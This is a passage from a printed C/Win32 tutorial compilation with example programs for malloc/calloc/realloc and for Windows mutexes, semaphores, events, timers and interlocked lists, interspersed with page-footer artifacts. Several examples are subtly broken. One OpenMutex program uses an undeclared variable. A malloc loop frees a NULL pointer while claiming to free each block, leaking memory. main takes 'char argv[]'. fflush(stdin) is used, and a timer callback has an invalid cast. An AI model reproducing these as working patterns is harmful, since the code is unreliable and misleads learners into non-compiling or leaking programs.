/*Initialize the array using array notation*/


for(i = 0; i < END; i++)
{
ptr1[i] = i+i;
}
/*********************************************************/
/*Getting memory for an array using calloc() - 2 parameters*/
ptr2 = (int *) calloc(END, sizeof(int));
/*If memory allocation fails...*/
if(ptr2 == NULL)
{
fprintf(stderr, "calloc() failed!\n");
/*exit with an error message*/
exit(1);
}
/*Initialize the array using pointer arithmetic*/
ptr3 = ptr2;
for(i = 0; i < END; i++)
{
*(ptr3++) = i+i;
}

/*Print array contents*/


printf("---Using malloc()---\n");
printf("Array pointed by ptr1:\n");
for(i = 0; i < END; i++)
{
printf("%3d ", ptr1[i]);
}
printf("\n\n");

printf("---Using calloc()---\n");
printf("Array pointed by ptr2:\n");
for(i = 0; i < END; i++)
{
printf("%3d ", ptr2[i]);
}
printf("\n\n");
return 0;
}

--------------------------------------------------------------------------------------------

/*calloc() and malloc() example*/


#include <stdlib.h>
#include <stdio.h>
#define n 10

/*a struct*/
typedef struct book_type

file:///C|/Tutorial.txt (850 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
int id;
char name[20];
float price;
}book;

int main(void)
{
int *aPtr = NULL, *bPtr = NULL, m = 0;
char *str = NULL;
book *bookPtr = NULL;

/*create an int array of size 10*/


aPtr = (int *)calloc(n, sizeof(int));
/*do some verification*/
if(aPtr == NULL)
{
printf("calloc for integer fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");

/*create a char array of size 10*/


str = (char *)calloc(n, sizeof(char));
if(str == NULL)
{
printf("calloc for char fails lol!\n");
exit (0);
}
else
printf("memory allocation for char through calloc() is OK\n");

/*create a structure of book*/


bookPtr = (book *)malloc(sizeof(book));
if(bookPtr == NULL)
{
printf("malloc for struct fails lol!\n");
exit (0);
}
else
printf("memory allocation for struct through malloc() is OK\n");

/*clean up the memory allocated*/


free(aPtr);
free(str);
free(bookPtr);

/*other way*/
/*get the number of elements from the user and then allocate*/
printf("\nEnter the size of integer array (bytes): ");
scanf("%d", &m);
bPtr = (int *)calloc(m, sizeof(int));
if(bPtr == NULL)
{
printf("calloc for int fails lol!\n");

file:///C|/Tutorial.txt (851 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");
free(bPtr);
return 0;
}

--------------------------------------------------------------------------------------------

/*Playing with realloc(). Store user input in an array*/


#include <stdio.h>
#include <stdlib.h>

#define INITIAL_SIZE 5;

int main()
{
int *Arr, *temp;
int limit, input, n = 0, r, i;

/*Initially, allocate some space for A*/


limit = INITIAL_SIZE;
Arr = (int *) malloc (limit * sizeof(int));
/*Do some verification, if fail*/
if (Arr == NULL)
{
/*Display the error message*/
fprintf(stderr, "malloc() failed!\n");
/*Exit with the error code*/
exit(1);
}

/*array loop*/
printf("Enter numbers, 1 per line. End with ctrl-D\n");
while(1)
{
printf("Next number: ");
r = scanf("%d", &input);
fflush(stdin);

/*verify the input*/


if(r < 1)
break;
/*Get more space for Arr using realloc()*/
if(n >= limit)
{
printf("More than 5 elements per loop, reallocating the storage... \n");
limit = 2 * limit;
temp = (int *)realloc(Arr, limit * sizeof(int));
/*Verify again...*/
if(temp == NULL)
{
fprintf(stderr, "realloc() failed!\n");
exit(1);
}

file:///C|/Tutorial.txt (852 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("realloc is OK lol, proceed your input...\n");
Arr = temp;
}

Arr[n] = input;
n++;
}

/*Trim Arr down to size*/


temp = (int *)realloc(Arr, n*sizeof(int));
/*Verify...*/
if(temp == NULL)
{
fprintf(stderr, "realloc() fails lol!\n");
exit(1);
}

Arr = temp;

printf("\nContents of the array Arr:\n");


/*Print the array*/
for(i = 0; i < n; i++)
{
printf("%2d ", Arr[i]);
}
printf("\n");
return 0;
}

-----------------------------------------GCC---------------------------------------------------

/*calloc() and malloc() example*/


#include <stdlib.h>
#include <stdio.h>
#define n 10

/*a struct*/
typedef struct book_type
{
int id;
char name[20];
float price;
}book;

int main(void)
{
int *aPtr = NULL, *bPtr = NULL, m = 0;
char *str = NULL;
book *bookPtr = NULL;

/*create an int array of size 10*/


aPtr = (int *)calloc(n, sizeof(int));
/*do some verification*/
if(aPtr == NULL)
{

file:///C|/Tutorial.txt (853 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("calloc for integer fails lol!\n");


exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");

/*create a char array of size 10*/


str = (char *)calloc(n, sizeof(char));
if(str == NULL)
{
printf("calloc for char fails lol!\n");
exit (0);
}
else
printf("memory allocation for char through calloc() is OK\n");

/*create a structure of book*/


bookPtr = (book *)malloc(sizeof(book));
if(bookPtr == NULL)
{
printf("malloc for struct fails lol!\n");
exit (0);
}
else
printf("memory allocation for struct through malloc() is OK\n");

/*clean up the memory allocated*/


free(aPtr);
free(str);
free(bookPtr);

/*other way*/
/*get the number of elements from the user and then allocate*/
printf("\nEnter the size of integer array (bytes): ");
scanf("%d", &m);
bPtr = (int *)calloc(m, sizeof(int));
if(bPtr == NULL)
{
printf("calloc for int fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");
free(bPtr);
return 0;
}

--------------------------------------------------------------------------------------------

/****************malalloc.c***************************/
/************run on FeDora 3 Machine*********************/
/*Playing with malloc() and free(), memory on the heap*/
#include <stdio.h>
#include <stdlib.h>

int main()

file:///C|/Tutorial.txt (854 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
int x;
int *y;
int *buffer = NULL;
/*do 100 times iteration, 100 blocks*/
for(x=0; x<100; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If there is a problem*/
if(y == NULL)
{
puts("No more memory for allocation lol!");
/*exit peacefully*/
exit(0);
}
else
{
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
free((void *)buffer);
printf("---->Freeing the memory block: %i address: %p\n", x, y);
}
}
return 0;
}

============================MODULEAA=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}

file:///C|/Tutorial.txt (855 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
// One process creates the mutex object.
HANDLE hMutex;
char * MName = "MyMutex";

hMutex = CreateMutex(
NULL, // no security descriptor
FALSE, // mutex not owned
MName); // object name

if (hMutex == NULL)
printf("CreateMutex(): error: %d.\n", GetLastError());
else
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
printf("CreateMutex(): opened existing %s mutex.\n", MName);
else
printf("CreateMutex(): new %s mutex successfully created.\n", MName);
}

return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501

file:///C|/Tutorial.txt (856 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hMutex1;

hMutex1 = OpenMutex(
MUTEX_ALL_ACCESS, // request full access
FALSE, // handle not inheritable
MName); // object name

if (hMutex1 == NULL)
printf("OpenMutex(): error: %d.\n", GetLastError());
else
printf("OpenMutex(): %s mutex opened successfully.\n", MName);

return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
// One process creates the mutex object.
HANDLE hMutex;
char * MName = "MyMutex";

hMutex = CreateMutex(
NULL, // no security descriptor
FALSE, // mutex not owned
MName); // object name

if (hMutex == NULL)
printf("CreateMutex(): error: %d.\n", GetLastError());
else
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
printf("CreateMutex(): opened existing %s mutex.\n", MName);
else
printf("CreateMutex(): new %s mutex successfully created.\n", MName);
}

//=================================================================
HANDLE hMutex1;

hMutex1 = OpenMutex(
MUTEX_ALL_ACCESS, // request full access
FALSE, // handle not inheritable
MName); // object name

file:///C|/Tutorial.txt (857 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if (hMutex1 == NULL)
printf("OpenMutex(): error: %d.\n", GetLastError());
else
printf("OpenMutex(): %s mutex opened successfully.\n", MName);

return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

HANDLE CreateNewSemaphore(LPSECURITY_ATTRIBUTES lpsa,


LONG cInitial, LONG cMax, LPTSTR lpszName)
{
HANDLE hSem;

// Create or open a named semaphore.


hSem = CreateSemaphore(
lpsa, // security attributes, NULL = handle cannot be inherited
cInitial, // initial count
cMax, // maximum count
lpszName); // semaphore name

// Close handle, and return NULL if existing semaphore opened.


if (hSem == NULL && GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hSem);
return NULL;
}
else
{
printf("Checking the last error: %d.\n", GetLastError());
printf("CreateNewSemaphore(): New semaphore was created successfully.\n");
}

// If new semaphore was created, return the handle.


return hSem;
}

int main()
{
LPSECURITY_ATTRIBUTES lpsa = NULL;
LONG cInitial = 0;
LONG cMax = 10;
LPTSTR lpszName = "MySemaphore";

HANDLE hSemaphore = CreateNewSemaphore(lpsa, cInitial, cMax, lpszName);


return 0;
}

----------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (858 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hEvents[2];
DWORD i, dwEvent;

// Create two event objects.


for (i = 0; i < 2; i++)
{
hEvents[i] = CreateEvent(
NULL, // no security attributes
FALSE, // auto-reset event object
FALSE, // initial state is non-signaled (suspended)
NULL); // unnamed object

if (hEvents[i] == NULL)
{
printf("CreateEvent() error: %d\n", GetLastError());
ExitProcess(0);
}
else
printf("CreateEvent() for event #%d is OK.\n", i);
}

// The creating thread waits for other threads or processes


// to signal the event objects.
dwEvent = WaitForMultipleObjects(
2, // number of objects in array
hEvents, // array of objects
FALSE, // wait for any object instead of all...
4000); // 4000 ms wait....

printf("Some verification, the return value is: %d.\n", dwEvent);


printf("Another verification, the last error is: %d.\n", GetLastError());

// Return value indicates which event is signaled.


switch (dwEvent)
{
// hEvent[0] was signaled.
case WAIT_OBJECT_0 + 0: // 0 + 0 = 0
printf("Event #%d is signaled.\n", dwEvent);
// TODO: Perform tasks required by this event...
break;
// hEvent[1] was signaled.
case WAIT_OBJECT_0 + 1: // 0 + 1 = 1
printf("Event #%d is signaled.\n", dwEvent);
// TODO: Perform tasks required by this event...
break;
// Return value is invalid.
default:
printf("Wait error: %d\n", GetLastError());
// Exit peacefully or use customize error message...

file:///C|/Tutorial.txt (859 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

ExitProcess(0);
}
return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main(int argc, char argv[])


{
DWORD dwWaitStatus;
HANDLE dwChangeHandles[2];
char * DirName = "F:\\myproject"; // file
char * DirName1 = "F:\\"; // directory

// Watch the F:\myproject directory for file creation and deletion.


dwChangeHandles[0] = FindFirstChangeNotification(
DirName, // directory to watch
FALSE, // do not watch the subtree
FILE_NOTIFY_CHANGE_FILE_NAME); // watch file name changes

if (dwChangeHandles[0] == INVALID_HANDLE_VALUE)
ExitProcess(GetLastError());
else
printf("FindFirstChangeNotification() for file change is OK.\n");

// Watch the F:\\ subtree for directory creation and deletion.


dwChangeHandles[1] = FindFirstChangeNotification(
DirName1, // directory to watch
TRUE, // watch the subtree
FILE_NOTIFY_CHANGE_DIR_NAME); // watch directory name changes

if (dwChangeHandles[1] == INVALID_HANDLE_VALUE)
ExitProcess(GetLastError());
else
printf("FindFirstChangeNotification() for directory change is OK.\n");

// Again...some messages
if (dwChangeHandles[0] != INVALID_HANDLE_VALUE && dwChangeHandles[1] != INVALID_HANDLE_VALUE)
{
printf("\nI'm monitoring any file deletion/creation in %s and\n", DirName);
printf("I'm monitoring any directory deletion/creation in %s.\n", DirName1);
}

// Change notification is set. Now wait on both notifications


// handles and refresh accordingly.
while (TRUE)
{
// Wait for notification.
dwWaitStatus = WaitForMultipleObjects(2, dwChangeHandles, FALSE, INFINITE);

switch (dwWaitStatus)

file:///C|/Tutorial.txt (860 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
case 0: // WAIT_OBJECT_0
// A file was created or deleted in F:\myproject.
// Refresh this directory and restart the change notification.
// May call application define function here...
if (FindNextChangeNotification(dwChangeHandles[0]) == FALSE)
ExitProcess(GetLastError());
else
printf("File created/deleted in %s.\n", DirName);
break;

case 1: // WAIT_OBJECT_0 + 1

// A directory was created or deleted in F:\.


// Refresh the directory tree and restart the change notification.
// May call application define function here...
if (FindNextChangeNotification(dwChangeHandles[1]) == FALSE)
ExitProcess(GetLastError());
else
printf("Directory was deleted/created in %s.\n", DirName1);
break;

default:
printf("FindNextChangeNotification(): Invalid return value.\n");
ExitProcess(GetLastError());
}
}

// May close the handles...


// FindCloseChangeNotification(dwChangeHandles[0]);
// FindCloseChangeNotification(dwChangeHandles[1]);
return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hMutex;

// Create a mutex with no initial owner...


hMutex = CreateMutex(
NULL, // no security attributes
FALSE, // initially not owned
"MutexToProtectSomeData"); // name of mutex

if (hMutex == NULL)
{
// Check for error...
printf("CreateMutex() failed, error: %d.\n", GetLastError());
}

file:///C|/Tutorial.txt (861 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("CreateMutex() is OK.\n");

return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

BOOL FunctionToWriteSomeData(HANDLE hMutex)


{
DWORD dwWaitResult;

// Request the ownership of mutex...


dwWaitResult = WaitForSingleObject(
hMutex, // handle to mutex
5000L); // five-second time-out interval

switch (dwWaitResult)
{
// The thread got the mutex ownership...
case WAIT_OBJECT_0:
// Simple structured exception handling...
__try {
printf("the mutex is signaled.\n");
// TODO: Write some data...
}

__finally {
// Release the ownership of the mutex object.
if (!ReleaseMutex(hMutex))
{
// Deal with error.
printf("ReleaseMutex() failed.\n");
ExitProcess(0);
}
break;
}

// Cannot get the mutex ownership due to time-out.


case WAIT_TIMEOUT:
printf("time-out interval elapsed, and the object's state is non-signaled.\n");
return FALSE;

// Got the ownership of the abandoned mutex object.


case WAIT_ABANDONED:
printf("the mutex is set to non-signaled.\n");
return FALSE;
}
return TRUE;
}

file:///C|/Tutorial.txt (862 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//===========================================================
int main()
{
HANDLE hMutex;

// Create a mutex with no initial owner.


hMutex = CreateMutex(
NULL, // no security attributes
FALSE, // initially not owned
"MutexToProtectSomeData"); // name of mutex

if (hMutex == NULL)
{
// Check for error...
printf("CreateMutex() failed, error: %d.\n", GetLastError());
}
else
printf("CreateMutex() is OK.\n");

// Write some data function call...


BOOL Test = FunctionToWriteSomeData(hMutex);
// Verify the returned value
printf("The function returned value: %d.\n", Test);

return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hSemaphore;
LONG cMax = 15;

// Create a semaphore with initial and max. counts of 15...


hSemaphore = CreateSemaphore(
NULL, // no security attributes
cMax, // initial count
cMax, // maximum count
NULL); // unnamed semaphore

if (hSemaphore == NULL)
{
printf("CreateSemaphore() failed, error: %d.\n", GetLastError());
// Check for error...
}
else
printf("CreateSemaphore() is OK.\n");

return 0;
}

file:///C|/Tutorial.txt (863 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hSemaphore;
LONG cMax = 10;
LONG cPreviousCount = 0;

// Create a semaphore with initial and maximum counts of 10.


hSemaphore = CreateSemaphore(
NULL, // no security attributes
cMax, // initial count
cMax, // maximum count
"MySemaphore"); // named semaphore

if (hSemaphore == NULL)
{
// Check for error.
printf("CreateSemaphore() failed error: %d.\n", GetLastError());
}
else
printf("CreateSemaphore() is OK.\n");

//==================================================================
DWORD dwWaitResult;

// Try to enter the semaphore gate.


dwWaitResult = WaitForSingleObject(
hSemaphore, // handle to semaphore
0L); // zero-second time-out interval

switch (dwWaitResult)
{
// The semaphore object was signaled.
case WAIT_OBJECT_0:
printf("The semaphore was signaled, do other task...\n");
// OK to open another window...
break;

case WAIT_ABANDONED:
printf("The semaphore was non-signaled, just exit.\n");
// Cannot open another window...
break;

// Semaphore was non-signaled, so a time-out occurred.


case WAIT_TIMEOUT:
printf("The time-out interval elapsed, the semaphore was non-signaled, just exit.\n");
// Cannot open another window.
break;
}

file:///C|/Tutorial.txt (864 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//==================================================================

// Increment the count of the semaphore.


if (!ReleaseSemaphore(
hSemaphore, // handle to semaphore
1, // increase count by one
NULL)) // not interested in previous count
{
printf("ReleaseSemaphore() failed, error: %d.\n", GetLastError());
// Deal with the error.
}
else
printf("ReleaseSemaphore() is OK.\n");

return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

#define NUMTHREADS 4

HANDLE hGlobalWriteEvent;

HANDLE hReadEvents[NUMTHREADS], hThread;


DWORD i, IDThread;

void ThreadFunction(LPVOID lpParam)


{
DWORD dwWaitResult;
HANDLE hEvents[2];

hEvents[0] = *(HANDLE*)lpParam; // thread's read event


hEvents[1] = hGlobalWriteEvent;

dwWaitResult = WaitForMultipleObjects(
2, // number of handles in array
hEvents, // array of event handles
TRUE, // wait till all are signaled
INFINITE); // indefinite wait

printf("\nIn ThreadFunction()...\n");
switch (dwWaitResult)
{
// Both event objects were signaled.
case WAIT_OBJECT_0:
printf("Both event objects were signaled.\n");
// Read from the shared buffer...
break;

// An error occurred.

file:///C|/Tutorial.txt (865 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

default:
printf("Wait error: %d\n", GetLastError());
ExitThread(0);
}

// Set the read event to signaled.


if (!SetEvent(hEvents[0]))
{
printf("SetEvent(), setting the read event to signaled failed.\n");
// Error exit.
}
else
printf("SetEvent(), setting the read event to signaled is OK.\n");
}

//===============================================================
void WriteToBuffer(void)
{
DWORD dwWaitResult, i;

printf("\nIn WriteToBuffer()...\n");
// Reset hGlobalWriteEvent to non-signaled, to block readers...
if (!ResetEvent(hGlobalWriteEvent))
{
printf("ResetEvent(hGlobalWriteEvent) failed.\n");
// Error exit.
}
else
printf("ResetEvent(hGlobalWriteEvent) is OK.\n");

// Wait for all reading threads to finish reading...


dwWaitResult = WaitForMultipleObjects(
NUMTHREADS, // number of handles in array
hReadEvents, // array of read-event handles
TRUE, // wait until all are signaled
INFINITE); // indefinite wait

switch (dwWaitResult)
{
// All read-event objects were signaled...
case WAIT_OBJECT_0:
printf("All read-event objects were signaled.\n");
// Write to the shared buffer...
break;

// An error occurred...
default:
printf("Wait error: %d\n", GetLastError());
ExitProcess(0);
}

// Set hGlobalWriteEvent to signaled...


if (!SetEvent(hGlobalWriteEvent))
{
// Error exit.
}

file:///C|/Tutorial.txt (866 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Set all read events to signaled...


for (i = 0; i < NUMTHREADS; i++)
{
if (!SetEvent(hReadEvents[i]))
{
printf("SetEvent(), setting read event %d to signaled failed.\n", i);
// Error exit.
}
else
printf("SetEvent(), read event %d signaled.\n", i);
}
}

//===============================================================
void CreateEventsAndThreads(void)
{
// Create a manual-reset event object. The master thread sets
// this to non-signaled when it writes to the shared buffer...
printf("In CreateEventsAndThreads()...\n");
hGlobalWriteEvent = CreateEvent(
NULL, // no security attributes
TRUE, // manual-reset event
TRUE, // initial state is signaled
"MasterThWriteEvent" // object name
);

if (hGlobalWriteEvent == NULL)
{
printf("CreateEvent() failed, error: %d.\n", GetLastError());
// error exit...
}
else
printf("CreateEvent(), master thread with manual reset is OK.\n\n");

// Create multiple threads and an auto-reset event object


// for each thread. Each thread sets its event object to
// signaled when it is not reading from the shared buffer...
printf("Multiple threads with auto-reset event object for each thread...\n");
for (i = 0; i < NUMTHREADS; i++)
{
// Create the auto-reset event.
hReadEvents[i] = CreateEvent(
NULL, // no security attributes
FALSE, // auto-reset event
TRUE, // initial state is signaled
NULL); // object not named

if (hReadEvents[i] == NULL)
{
printf("CreateEvent() failed.\n");
// Error exit.
}
else
printf("CreateEvent() #%d is OK.\n", i);

file:///C|/Tutorial.txt (867 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE) ThreadFunction,
&hReadEvents[i], // pass event handle
0, &IDThread);

if (hThread == NULL)
{
// Error exit.
printf("CreateThread() failed, error: %d.\n", GetLastError());
}
else
printf("CreateThread() #%d is OK.\n\n", i);
}
}

int main()
{
CreateEventsAndThreads();
WriteToBuffer();
return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

// Global variable
CRITICAL_SECTION CriticalSection;

// Application defined function...


DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
// TODO: Other tasks...
printf("In ThreadProc(), application defined function...\n");
printf("EnterCriticalSection() and LeaveCriticalSection().\n");

// Request ownership of the critical section.


EnterCriticalSection(&CriticalSection);

// TODO: For example, access the shared resource...

// Release ownership of the critical section.


LeaveCriticalSection(&CriticalSection);

// TODO: Other tasks...


return 0;
}

int main()
{
// TODO: Other tasks...
printf("In main()...\n");
printf("InitializeCriticalSectionAndSpinCount() and after\n");

file:///C|/Tutorial.txt (868 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("return from function call use DeleteCriticalSection()...\n\n");

// Initialize the critical section one time only...


if (!InitializeCriticalSectionAndSpinCount(&CriticalSection, 0x80000400))
printf("InitializeCriticalSectionAndSpinCount() failed, error: %d.\n", GetLastError());
// just return or other error processing...
else
printf("InitializeCriticalSectionAndSpinCount() is OK.\n");

// Release resources used by the critical section object.


DeleteCriticalSection(&CriticalSection);

return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

HANDLE gDoneEvent;

VOID CALLBACK TimerRoutine(PVOID lpParam, BOOL TimerOrWaitFired)


{
if (lpParam == NULL)
{
printf("TimerRoutine()'s lpParam is NULL.\n");
}
else
{
// lpParam points to the argument; in this case it is an int...
printf("Timer routine called. Parameter is %d.\n", *(int*)lpParam);
}

SetEvent(gDoneEvent);
}

int main()
{
HANDLE hTimer = NULL;
HANDLE hTimerQueue = NULL;
int arg = 123;

// Use an event object to track the TimerRoutine() execution...


gDoneEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!gDoneEvent)
{
printf("CreateEvent() failed, error: %d.\n", GetLastError());
return 1;
}
else
printf("CreateEvent() is OK.\n");

// Create the timer queue...

file:///C|/Tutorial.txt (869 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

hTimerQueue = CreateTimerQueue();
if (!hTimerQueue)
{
printf("CreateTimerQueue() failed, error: %d.\n", GetLastError());
//May just return/exit with error code...
return 2;
}
else
printf("CreateTimerQueue() is OK.\n");

// Set a timer to call the timer routine in 10 seconds...


if (!CreateTimerQueueTimer(&hTimer, hTimerQueue, (VOID CALLBACK)TimerRoutine, &arg, 10000, 0, 0))
{
printf("CreateTimerQueueTimer() failed, error: %d.\n", GetLastError());
//May just return/exit with error code...
return 3;
}
else
printf("CreateTimerQueueTimer() is OK and do the related task...\n");

// TODO: Do other useful work here...

printf("Call timer routine in 10 seconds...\n");

// Wait for the timer-queue thread to complete using an event


// object. The thread will signal the event at that time...
if (WaitForSingleObject(gDoneEvent, INFINITE) != WAIT_OBJECT_0)
printf("WaitForSingleObject() failed, error: %d.\n", GetLastError());
else
printf("WaitForSingleObject() is OK.\n");

// Delete all timers in the timer queue...


if (!DeleteTimerQueue(hTimerQueue))
printf("DeleteTimerQueue() failed, error: %d.\n", GetLastError());
else
printf("DeleteTimerQueue() is OK.\n");

return 0;
}

----------------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hTimer = NULL;
LARGE_INTEGER liDueTime;

liDueTime.QuadPart=-100000000;

file:///C|/Tutorial.txt (870 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Create a waitable timer.


hTimer = CreateWaitableTimer(NULL, TRUE, "WaitableTimer");
if (!hTimer)
{
printf("CreateWaitableTimer() failed, error: %d.\n", GetLastError());
return 1;
}
else
printf("CreateWaitableTimer() is OK.\n");
// Next step...
printf("Waiting for 10 seconds...\n");

// Set a timer to wait for 10 seconds.


if (!SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, 0))
{
printf("SetWaitableTimer() failed, error: %d.\n", GetLastError());
return 2;
}
else
printf("SetWaitableTimer() is OK.\n");

// Wait for the timer.


if (WaitForSingleObject(hTimer, INFINITE) != WAIT_OBJECT_0)
printf("WaitForSingleObject() failed, error: %d.\n", GetLastError());
else
printf("Timer was signaled.\n");

return 0;
}

----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#include <malloc.h>

// Structure to be used for a list item. Typically, the first member


// is of type SLIST_ENTRY. Additional members are used for data.
// Here, the data is simply a signature for testing purposes.
typedef struct _PROGRAM_ITEM {
SLIST_ENTRY ItemEntry;
ULONG Signature;
} PROGRAM_ITEM, *PPROGRAM_ITEM;

int main()
{
ULONG Count;
PSLIST_ENTRY FirstEntry, ListEntry;
SLIST_HEADER ListHead;
PPROGRAM_ITEM ProgramItem;

// Initialize the list header.


InitializeSListHead(&ListHead);

file:///C|/Tutorial.txt (871 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Insert 10 items into the list.


for (Count = 1; Count <= 10; Count += 1)
{
ProgramItem = (PPROGRAM_ITEM)malloc(sizeof(*ProgramItem));
ProgramItem->Signature = Count;
FirstEntry = InterlockedPushEntrySList(&ListHead, &ProgramItem->ItemEntry);
}

// Remove 10 items from the list.


for (Count = 10; Count >= 1; Count -= 1)
{
ListEntry = InterlockedPopEntrySList(&ListHead);
free(ListEntry);
}

// Flush the list and verify that the items are gone.
ListEntry = InterlockedFlushSList(&ListHead);
FirstEntry = InterlockedPopEntrySList(&ListHead);
if (FirstEntry != NULL)
{
printf("InterlockedPopEntrySList() failed, error: List is not empty.");
}
else
printf("InterlockedPopEntrySList() is OK, list is empty.\n");

return 0;
}

============================MODULEBB======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{

file:///C|/Tutorial.txt (872 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

---------------------------------No source code--------------------------------


============================MODULECC======================================
| |
| The program examples' source codes have been arranged in the same |
